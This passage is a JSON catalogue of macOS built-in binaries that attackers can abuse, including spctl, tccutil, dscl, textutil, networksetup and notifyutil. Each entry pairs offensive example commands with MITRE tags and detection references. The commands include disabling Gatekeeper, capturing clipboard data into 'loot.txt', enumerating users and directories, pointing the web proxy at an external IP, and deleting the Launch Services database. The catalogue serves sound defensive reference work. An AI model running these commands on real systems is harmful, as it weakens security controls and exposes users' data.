      "pipes-stdout",
      "stealth"
    ],
    "id": "macos-defense-evasion-plutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/plutil"
        ]
      }
    ],
    "name": "plutil",
    "namespace": "macos:defenseevasion:plutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Editing Property Lists with plutil",
        "url": "https://scriptingosx.com/2016/11/editing-property-lists/"
      },
      {
        "label": "Plist File Modification (MITRE ATT&CK)",
        "url": "https://attack.mitre.org/techniques/T1647/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThis tool uses the Speech Synthesis manager to convert input text to audible speech and either play it through the sound output device chosen in System Preferences or save it to an AIFF file.\n",
    "_source": "say.md",
    "author": "Pinar Sadioglu (@p_sadioglu)",
    "capabilities": [
      "security.defenseevasion.bypass",
      "collection.data",
      "reconnaissance.enumerate",
      "discovery.enumerate"
    ],
    "description": "Convert text to audible speech.",
    "detections": [
      {
        "type": "other",
        "description": "No detection content available"
      }
    ],
    "examples": [
      {
        "description": "Read sensitive data: The following command can read and process sensitive files and redirects the output to a file..",
        "command": "say -f /home/user/sensitive-files -i  > loot.txt;"
      },
      {
        "description": "Collect clipboard data: The command is designed to enhance privacy by muting the system volume,using a less recognizable \"Whisper\" voice with the \"say\" command, processing the copied text in the clipboard, and saving the output to a file named \"loot.txt.\"",
        "command": "osascript -e 'set volume output muted true' ;   say $(pbpaste) -i  > loot.txt;"
      }
    ],
    "execution": {
      "template": "say",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "stealth"
    ],
    "id": "macos-defense-evasion-say",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/say"
        ]
      }
    ],
    "name": "say",
    "namespace": "macos:defenseevasion:say",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "say man page",
        "url": "https://ss64.com/osx/say.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "collection",
      "recon",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nManage the security assessment policy subsystem, Gatekeeper settings, and control which apps are allowed to run on the system.\n",
    "_source": "spctl.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "security.defenseevasion.bypass"
    ],
    "description": "Manage the security assessment policy subsystem, Gatekeeper settings, and control which apps are allowed to run on the system.",
    "detections": [
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/e9baebc2bc18f90ae16501613cd9521a16a38ad7/rules/macos/defense_evasion_attempt_to_disable_gatekeeper.toml",
        "description": "Elastic Detection Rules: Attempt to Disable Gatekeeper"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/cd71edc09ca915f389e50df5b1bbb5ecd4b7f89d/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml",
        "description": "Sigma Rules: Disable Security Tools"
      }
    ],
    "examples": [
      {
        "description": "Disable Gatekeeper: The --master-disable switch disables Gatekeeper. The command must be run with root/sudo permission.",
        "command": "sudo spctl --master-disable"
      }
    ],
    "execution": {
      "template": "spctl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip",
      "stealth"
    ],
    "id": "macos-defense-evasion-spctl",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/spctl"
        ]
      }
    ],
    "name": "spctl",
    "namespace": "macos:defenseevasion:spctl",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Disable Gatekeeper on macOS Big Sur (11.x)",
        "url": "https://disable-gatekeeper.github.io/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\ntccutil is a command-line tool for managing the Transparency, Consent, and Control (TCC) permissions database. It allows users to revoke permissions for applications to access certain system resources, such as the camera, microphone, and location.\n",
    "_source": "tccutil.md",
    "author": "Hare Sudhan (@cyb3rbuff)",
    "capabilities": [
      "security.defenseevasion.bypass"
    ],
    "description": "Command-line tool for managing the Transparency, Consent, and Control (TCC) permissions database",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Use the tccutil to reset specific permissions: Banshee Stealer resets the permissions that have already been allowed to applications on the system, which will cause the user to be prompted to give them again. This action may be intended to trick the user into unknowingly giving authorizations to the malware.",
        "command": "tccutil reset AppleEvents"
      },
      {
        "description": "Use the tccutil to reset specific permissions for an application: Attackers use tccutil to reset permissions for services like Camera, Microphone, or AppleEvents.",
        "command": "tccutil reset AppleEvents com.apple.Terminal"
      }
    ],
    "execution": {
      "template": "tccutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "stealth"
    ],
    "id": "macos-defense-evasion-tccutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/tccutil"
        ]
      }
    ],
    "name": "tccutil",
    "namespace": "macos:defenseevasion:tccutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "tccutil",
        "url": "https://ss64.com/mac/tccutil.html"
      },
      {
        "label": "Banshee: The Stealer That 'Stole Code' From MacOS XProtect",
        "url": "https://research.checkpoint.com/2025/banshee-macos-stealer-that-stole-code-from-macos-xprotect/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe textutil binary is a command-line utility included in macOS that allows users to manipulate text files of various formats, using the mechanisms provided by the Cocoa text system. Formats include rtf, html, docx and others\n",
    "_source": "textutil.md",
    "author": "ezaspy",
    "capabilities": [
      "security.defenseevasion.bypass",
      "collection.data",
      "credential.dump"
    ],
    "description": "Manipulate text files in various formats.",
    "detections": [
      {
        "type": "other",
        "description": "Command Line Argument Detection (args contain textutil AND (-convert OR -stdin OR pbpaste))"
      }
    ],
    "examples": [
      {
        "description": "Use the textutil to read several files and build a new file: A one-liner can load the content of multiple RTF files in a directory, concatenate their contents, and write the results out as a new file. This provides two sub-use-cases; one is building a malicious file from a collection of smaller files which could evade both network and host-based security controls as the traditional means of signature-based detection would be redundant; two is concatenating the content of several, potentially sensitive files before exfiltration. This command can also be looped to iterate a directory of files.",
        "command": "textutil -convert html Quote.doc secondQuote.doc"
      },
      {
        "description": "Capture clipboard content: By leveraging another command line tool, pbpaste, it is possible to write a one-liner which captures the content of the clipboard. If an attacker already has access to the system, the attacker could run this command to obtain sensitive information such as a password and then elevate their privileges or exfiltrate the information.",
        "command": "pbpaste | textutil -stdin -info > Clipboard.txt"
      }
    ],
    "execution": {
      "template": "textutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "stealth"
    ],
    "id": "macos-defense-evasion-textutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/textutil"
        ]
      }
    ],
    "name": "textutil",
    "namespace": "macos:defenseevasion:textutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "textutil",
        "url": "https://osxdaily.com/tag/textutil/"
      }
    ],
    "techniques": [
      "defense-evasion",
      "collection",
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\ndns-sd can be used to interact with the Multicast DNS (mDNS) and DNS Service Discovery (DNS-SD) protocols. The tool is useful for administrators but can also be abused by malicious actors to discover local network services.\n",
    "_source": "dns-sd.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "Discover local network services using the DNS-Based Service Discovery (SD) protocol.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery",
        "description": "Jamf Protect: Detect dns-sd discovery activity"
      }
    ],
    "examples": [
      {
        "description": "Discover SSH hosts: Hosts serving SSH can be discovered using the _ssh._tcp service string.",
        "command": "dns-sd -B _ssh._tcp"
      },
      {
        "description": "Discover web hosts: Hosts serving web services can be discovered using the _http._tcp service string.",
        "command": "dns-sd -B _http._tcp"
      },
      {
        "description": "Discover hosts serving remote screen sharing: Hosts serving remote screen sharing can be discovered using the _rfb._tcp service string.",
        "command": "dns-sd -B _rfb._tcp"
      },
      {
        "description": "Discover hosts serving SMB: Hosts serving SMB can be discovered using the _smb._tcp service string.",
        "command": "dns-sd -B _smb._tcp"
      }
    ],
    "execution": {
      "template": "dns-sd",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "local",
      "network-intensive",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "macos-discovery-dns-sd",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/dns-sd"
        ]
      }
    ],
    "name": "dns-sd",
    "namespace": "macos:discovery:dns-sd",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "What does APT Activity Look Like on macOS?",
        "url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos"
      },
      {
        "label": "mDNS / Bonjour Bible - List of Common Service Strings for various vendors",
        "url": "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\ndscacheutil does various operations against the Directory Service cache including gathering statistics, initiating lookups, inspection, cache flush, etc.\nThis tool replaces most of the functionality of the lookupd tool previously available in the OS.\n",
    "_source": "dscacheutil.md",
    "author": "Ethan Nay",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "gather information, statistics and initiate queries to the Directory Service cache.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Lookup  a user: List the user information",
        "command": "dscacheutil -q user -a name <USER_NAME>"
      },
      {
        "description": "Lookup all users: List all user information",
        "command": "dscacheutil -q user"
      }
    ],
    "execution": {
      "template": "dscacheutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "process-manip"
    ],
    "id": "macos-discovery-dscacheutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/dscacheutil"
        ]
      }
    ],
    "name": "dscacheutil",
    "namespace": "macos:discovery:dscacheutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS/binaries/dscacheutil",
        "url": "https://macosbin.com/bin/dscacheutil"
      },
      {
        "label": "dscacheutil man page",
        "url": "https://ss64.com/osx/dscacheutil.html"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nAn extensive tool for communicating with the Directory Services, useful for Discovery.\n",
    "_source": "dscl.md",
    "author": "Jonathan Bar Or (@yo_yo_yo_jbo)",
    "capabilities": [
      "discovery.enumerate",
      "security.persistence.hook"
    ],
    "description": "Interact with Directory Services.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl",
        "description": "Jamf Protect: Detect user account creation with dscl"
      }
    ],
    "examples": [
      {
        "description": "Local user enumeration: Enumerate all local users.",
        "command": "dscl . -list /Users\ndscl . list /Users\ndscl . ls /Users\n"
      },
      {
        "description": "Active Directory user enumeration: Enumerate all Active Directory users.",
        "command": "dscl \"/Active Directory/TEST/All Domains\" -list /Users\ndscl \"/Active Directory/TEST/All Domains\" list /Users\ndscl \"/Active Directory/TEST/All Domains\" ls /Users\n"
      },
      {
        "description": "Local user information gathering: Gain useful local user information such as when their password was last set, their keyboard layout, their avatar, their home directory, UID and default shell.",
        "command": "dscl . -read /Users/$USERNAME\ndscl . read /Users/$USERNAME\ndscl . cat /Users/$USERNAME\n"
      },
      {
        "description": "Active Directory user information gathering: Gain useful Active Directory user information such as when their password was last set, their keyboard layout, their avatar, their home directory, UID and default shell.",
        "command": "dscl \"/Active Directory/TEST/All Domains\" -read /Users/$USERNAME\ndscl \"/Active Directory/TEST/All Domains\" read /Users/$USERNAME\ndscl \"/Active Directory/TEST/All Domains\" cat /Users/$USERNAME\n"
      },
      {
        "description": "Local group enumeration: Enumerate all local groups.",
        "command": "dscl . -list /Groups\ndscl . list /Groups\ndscl . ls /Groups\n"
      },
      {
        "description": "Active Directory group enumeration: Enumerate all Active Directory groups.",
        "command": "dscl \"/Active Directory/TEST/All Domains\" -list /Groups\ndscl \"/Active Directory/TEST/All Domains\" list /Groups\ndscl \"/Active Directory/TEST/All Domains\" ls /Groups\n"
      },
      {
        "description": "Local group information gathering: Gain useful local group information such as which users belong to that group, SMB SIDs and group ID. Especially useful for the \"admin\" group.",
        "command": "dscl . -read /Groups/$GROUPNAME\ndscl . read /Groups/$GROUPNAME\ndscl . cat /Groups/$GROUPNAME\n"
      },
      {
        "description": "Active Directory group information gathering: Gain useful Active Directory group information such as which users belong to that group, SMB SIDs and group ID. Especially useful for the \"admin\" group.",
        "command": "dscl \"/Active Directory/TEST/All Domains\" -read /Groups/$GROUPNAME\ndscl \"/Active Directory/TEST/All Domains\" read /Groups/$GROUPNAME\ndscl \"/Active Directory/TEST/All Domains\" cat /Groups/$GROUPNAME\n"
      },
      {
        "description": "Computer enumeration: Enumerate all computers in an Active Directory.",
        "command": "dscl  \"/Active Directory/TEST/All Domains\" -list /Computers\ndscl  \"/Active Directory/TEST/All Domains\" list /Computers\ndscl  \"/Active Directory/TEST/All Domains\" ls /Computers\n"
      },
      {
        "description": "Share enumeration: Enumerate all shares.",
        "command": "dscl . -list /SharePoints\ndscl . list /SharePoints\ndscl . ls /SharePoints\n"
      },
      {
        "description": "Password policy discovery: Gain password policy information",
        "command": "dscl . -read /Config/shadowhash\ndscl . read /Config/shadowhash\ndscl . cat /Config/shadowhash\n"
      },
      {
        "description": "Change a user password: Change an existing user's password.",
        "command": "dscl . passwd /Users/$USERNAME oldPassword newPassword"
      },
      {
        "description": "Local account creation: Create a local account",
        "command": "dscl -create"
      }
    ],
    "execution": {
      "template": "dscl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "macos-discovery-dscl",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/dscl"
        ]
      }
    ],
    "name": "dscl",
    "namespace": "macos:discovery:dscl",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "MacOS Red Teaming - HackTricks",
        "url": "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming"
      },
      {
        "label": "MITRE ATT&CK T1136.001 Create Account: Local Account",
        "url": "https://attack.mitre.org/techniques/T1136/001/"
      }
    ],
    "techniques": [
      "discovery",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThis tool allows command-line configuration of the Active Directory Plug-in. dsconfigad has the same functionality for configuring the Active Directory plugin as the Directory Utility application. It requires \"admin\" privileges to the local workstation and to the Directory to make changes.\n",
    "_source": "dsconfigad.md",
    "author": "Ethan Nay",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "retrieves/changes configuration for Directory Services Active Directory Plugin.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Retrieves the Active Directory configuration: Retrieves the Active Directory configuration",
        "command": "dsconfigad -show"
      },
      {
        "description": "Retrieves the Active Directory name: Retrieves the Active Directory name",
        "command": "dsconfigad -show |awk '/Active Directory Domain/{print $NF}'"
      }
    ],
    "execution": {
      "template": "dsconfigad",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "macos-discovery-dsconfigad",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/dsconfigad"
        ]
      }
    ],
    "name": "dsconfigad",
    "namespace": "macos:discovery:dsconfigad",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS/binaries/dsconfigad",
        "url": "https://macosbin.com/bin/dsconfigad"
      },
      {
        "label": "dsconfigad man page",
        "url": "https://www.unix.com/man-page/osx/8/dsconfigad/"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nUses the CommandLine/Terminal to return type, creator, attributes, created, and modified file information of a file or directory.\n",
    "_source": "getfileinfo.md",
    "author": "Chris Campbell (@texasbe2trill)",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "Get attributes of files and directories.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Iterate through a directory to GetFileInfo: A bash or zsh oneliner can provide an attacker with information about specific files of interest.",
        "command": "for FILE in ~/Downloads/*; do echo $(GetFileInfo $FILE) >> fileinfo.txt; sleep 2; done"
      }
    ],
    "execution": {
      "template": "GetFileInfo",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local"
    ],
    "id": "macos-discovery-getfileinfo",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/GetFileInfo"
        ]
      }
    ],
    "name": "GetFileInfo",
    "namespace": "macos:discovery:getfileinfo",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS/binaries/GetFileInfo",
        "url": "https://macosbin.com/bin/getfileinfo"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe I/O Kit registry (ioreg) is a useful binary that can be used to gather data such as detecting if a VM is used, getting USB device vendor names, checking if a screen is locked, etc.\n",
    "_source": "ioreg.md",
    "author": "Cedric Owens (@cedowens)",
    "capabilities": [
      "discovery.enumerate",
      "collection.data"
    ],
    "description": "Displays a hierarchial view of the I/O Kit registry.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml",
        "description": "System Information Discovery Using Ioreg"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/lockscreen_check",
        "description": "Jamf Protect: Ioreg used to detect if the screen is locked"
      }
    ],
    "examples": [
      {
        "description": "Use ioreg to check whether the remote macOS screen is locked.: The following command will display a list of keys that contain \"CGSSession\". If the key \"CGSSessionScreenIsLocked\" is present, the screen is actively locked.",
        "command": "ioreg -n Root -d1 -a | grep CGSSession"
      },
      {
        "description": "Use ioreg to check whether the host is on a physical machine or a VM: Check the output of this command (specifically the IOPlatformSerialNumber, board-id, and manufacturer fields) to check whether or not this host is in a virtual machine.",
        "command": "ioreg -rd1 -c IOPlatformExpertDevice"
      },
      {
        "description": "Use ioreg to check USB device vendor names: Grep for \"USB Vendor Name\" values to view USB vendor names. On virtualized hardware these values may contain the hypervisor name such as \"VirtualBox\". This is an additional way to check for virtualization.",
        "command": "ioreg -rd1 -c IOUSBHostDevice"
      },
      {
        "description": "Check all ioreg properties for hypervisor names.: Grep for \"virtual box\", \"oracle\", and \"vmware\" from the output of the ioreg -l command. This is an additional way to check for virtualization.",
        "command": "ioreg -l"
      }
    ],
    "execution": {
      "template": "ioreg",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout"
    ],
    "id": "macos-discovery-ioreg",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/ioreg"
        ]
      }
    ],
    "name": "ioreg",
    "namespace": "macos:discovery:ioreg",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Evasions: macOS",
        "url": "https://evasions.checkpoint.com/src/MacOS/macos.html"
      },
      {
        "label": "SwiftBelt-JXA Situational Awareness Tool",
        "url": "https://github.com/cedowens/SwiftBelt-JXA/blob/main/SwiftBelt-JXA.js#520"
      }
    ],
    "techniques": [
      "discovery",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nDeprecated tool in favor of kmutil. Lists loaded kernel extensions\n",
    "_source": "kextstat.md",
    "author": "Mark Morowczynsk (@markmorow)",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "Display the status of loaded kernel extensions (kexts)",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "List kernel extensions: Uses kexstat showloaded to display kernel extensions and address in kernel memory it has been loaded",
        "command": "kexstat"
      }
    ],
    "execution": {
      "template": "kextstat",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout"
    ],
    "id": "macos-discovery-kextstat",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/kextstat"
        ]
      }
    ],
    "name": "kextstat",
    "namespace": "macos:discovery:kextstat",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "kextstat man page",
        "url": "https://ss64.com/osx/kextstat.html"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nlsregister is used to build, dump, and check the validity of the Launch Services database. This database is often abused to create custom URL scheme handlers that point to malicious apps.\n",
    "_source": "lsregister.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "discovery.enumerate",
      "impact.destruction"
    ],
    "description": "Interact with the macOS Launch Services database.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Force an update of the Launch Services database: The -f flag can be used to force an update of the Launch Services database. This can be used to quickly register a custom URL scheme that points to a malicious app.",
        "command": "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -f"
      },
      {
        "description": "Get a list of apps and their bindings: The -dump flag can be used to get a list of apps and their bindings",
        "command": "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E \"path:|bindings:|name: | more\""
      },
      {
        "description": "Delete the Launch Services database: The -delete flag can be used to delete the Launch Services database to impact normal operation of the system.",
        "command": "lsregister -delete"
      }
    ],
    "execution": {
      "template": "lsregister",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "macos-discovery-lsregister",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister"
        ]
      }
    ],
    "name": "lsregister",
    "namespace": "macos:discovery:lsregister",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Remote Mac Exploitation Via Custom URL Schemes",
        "url": "https://www.jamf.com/blog/remote-mac-exploitation-via-custom-url-schemes/"
      },
      {
        "label": "macOS Security & Privilege Escalation",
        "url": "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation"
      }
    ],
    "techniques": [
      "discovery",
      "impact"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nnetworksetup is an extensive tool for reading and setting various network configuration details useful for Discovery and Command and Control.\n",
    "_source": "networksetup.md",
    "author": "Jason Trost (@jason_trost)",
    "capabilities": [
      "discovery.enumerate",
      "network.commandandcontrol"
    ],
    "description": "Configure network settings in System Preferences.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "network device enumeration: Use networksetup to display services with corresponding port and device in order they are tried for connecting to a network.",
        "command": "networksetup -listnetworkserviceorder"
      },
      {
        "description": "Detect connected network hardware: Use networksetup to detect new network hardware and create a default network service on the hardware.",
        "command": "networksetup -detectnewhardware"
      },
      {
        "description": "network device enumeration: Use networksetup to list all network interfaces, providing name, device name, MAC address.",
        "command": "networksetup -listallhardwareports"
      },
      {
        "description": "network device enumeration: Use networksetup to list all network interface names.",
        "command": "networksetup -listallnetworkservices"
      },
      {
        "description": "DNS server enumeration: Use networksetup to get configured DNS servers for a specific interface.",
        "command": "networksetup -getdnsservers Wi-Fi"
      },
      {
        "description": "Enumerate configured web proxy URL for an interface: Displays web proxy auto-configuration information for the specified interface.",
        "command": "networksetup -getautoproxyurl \"Thunderbolt Ethernet\""
      },
      {
        "description": "Enumerate configured web proxy for an interface: Displays standard web proxy information for the specified interface.",
        "command": "networksetup -getwebproxy \"Wi-Fi\""
      },
      {
        "description": "Set the https web proxy for an interface: Use networksetup to set the https web proxy for an interface.",
        "command": "networksetup -setsecurewebproxy \"Wi-Fi\" 46.226.108.171"
      },
      {
        "description": "Set the http web proxy for an interface: Use networksetup to set the http web proxy for an interface.",
        "command": "networksetup -setwebproxy \"Wi-Fi\" 46.226.108.171"
      },
      {
        "description": "Set auto proxy URL for an interface: Use networksetup to set the proxy URL for an interface.",
        "command": "networksetup -setautoproxyurl \"Wi-Fi\" $autoProxyURL"
      },
      {
        "description": "Enable auto proxy state: Use networksetup to enable the proxy auto-config",
        "command": "networksetup -setautoproxystate \"Wi-Fi\" on"
      }
    ],
    "execution": {
      "template": "networksetup",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "macos-discovery-networksetup",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/networksetup"
        ]
      }
    ],
    "name": "networksetup",
    "namespace": "macos:discovery:networksetup",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Threat Hunting the macOS edition Megan Carney (Report)",
        "url": "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf"
      },
      {
        "label": "GrrCon 2018: Threat Hunting the macOS edition Megan Carney",
        "url": "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be"
      },
      {
        "label": "Mac Malware of 2017 - a comprehensive analysis of the new mac malware of 17",
        "url": "https://objective-see.org/blog/blog_0x25.html"
      },
      {
        "label": "Ay MaMi - Analyzing a New macOS DNS Hijacker: OSX/MaMi",
        "url": "https://objective-see.org/blog/blog_0x26.html"
      },
      {
        "label": "Analyzing OSX.DazzleSpy - A fully-featured cyber-espionage macOS implant",
        "url": "https://objective-see.org/blog/blog_0x6D.html"
      },
      {
        "label": "The Mac Malware of 2018 - a comprehensive analysis of the new mac malware of - 18",
        "url": "https://objective-see.org/blog/blog_0x3C.html"
      },
      {
        "label": "From The DPRK With Love - analyzing a recent north korean macOS backdoor",
        "url": "https://objective-see.org/blog/blog_0x6E.html"
      }
    ],
    "techniques": [
      "discovery",
      "command-and-control"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe notifyutil binary is a command-line interface to the notify(3) API and notifyd(8) daemon, which manages Darwin notifications on macOS. This utility enables posting notifications, monitoring system-wide notification keys, and manipulating state values associated with notification keys. While designed for legitimate inter-process communication (IPC), notifyutil can be abused by threat actors to monitor system events (like screen lock, network changes, timezone updates), establish covert communication channels between processes, or gather intelligence about system state changes without triggering traditional security monitoring.\n",
    "_source": "notifyutil.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "discovery.enumerate",
      "collection.data",
      "network.commandandcontrol",
      "security.defenseevasion.bypass",
      "security.privilegeescalation.shell"
    ],
    "description": "Monitor and post Darwin notifications for inter-process communication and system event monitoring.",
    "detections": [
      {
        "type": "other",
        "description": "Monitor notifyutil execution with suspicious notification keys"
      },
      {
        "type": "other",
        "description": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)"
      },
      {
        "type": "other",
        "description": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)"
      },
      {
        "type": "other",
        "description": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes"
      }
    ],
    "examples": [
      {
        "description": "Monitor system events for reconnaissance: An attacker can register for system notification keys to detect when the user locks their screen, changes network state, or other system events without using more easily detected APIs. The following example monitors for screen lock events.",
        "command": "notifyutil -w com.apple.screenIsLocked"
      },
      {
        "description": "Establish covert inter-process communication channel: Threat actors can use Darwin notifications as a covert IPC mechanism to coordinate between malicious processes. By posting and monitoring custom notification keys with associated state values, malware components can exchange commands and data without using traditional IPC methods that may be monitored.",
        "command": "# Sender process\nnotifyutil -p com.example.hidden.channel -s com.example.hidden.channel 1337\n\n# Receiver process in another terminal/process\nnotifyutil -1 com.example.hidden.channel -g com.example.hidden.channel\n"
      },
      {
        "description": "Monitor network state changes for data exfiltration timing: An attacker can monitor for network configuration changes to determine optimal timing for data exfiltration. This allows malware to detect when the system connects to networks and adjust behavior accordingly.",
        "command": "notifyutil -w com.apple.system.config.network_change"
      },
      {
        "description": "Monitor timezone changes for geolocation tracking: Monitoring timezone change notifications can help an attacker track when a target device moves between geographic locations or when users travel, providing intelligence about the target's physical location and movement patterns.",
        "command": "notifyutil -w com.apple.system.timezone"
      },
      {
        "description": "Monitor login/logout events for privilege escalation timing: By monitoring authentication-related notification keys, an attacker can detect login and logout events to time privilege escalation attempts or other malicious activities when defenses may be weakened during authentication transitions.",
        "command": "notifyutil -w com.apple.loginwindow.logout -w com.apple.springboard.attemptactivationend"
      },
      {
        "description": "Query system notification state values for reconnaissance: Threat actors can query state values of system notification keys to gather information about the current system configuration without executing more suspicious commands.",
        "command": "notifyutil -g com.apple.system.timezone\nnotifyutil -g com.apple.loginwindow.logout\nnotifyutil -g com.apple.screenIsLocked\n"
      }
    ],
    "execution": {
      "template": "notifyutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root",
      "stealth",
      "streaming"
    ],
    "id": "macos-discovery-notifyutil",
    "install": [
      {
        "method": "custom",
        "commands": [
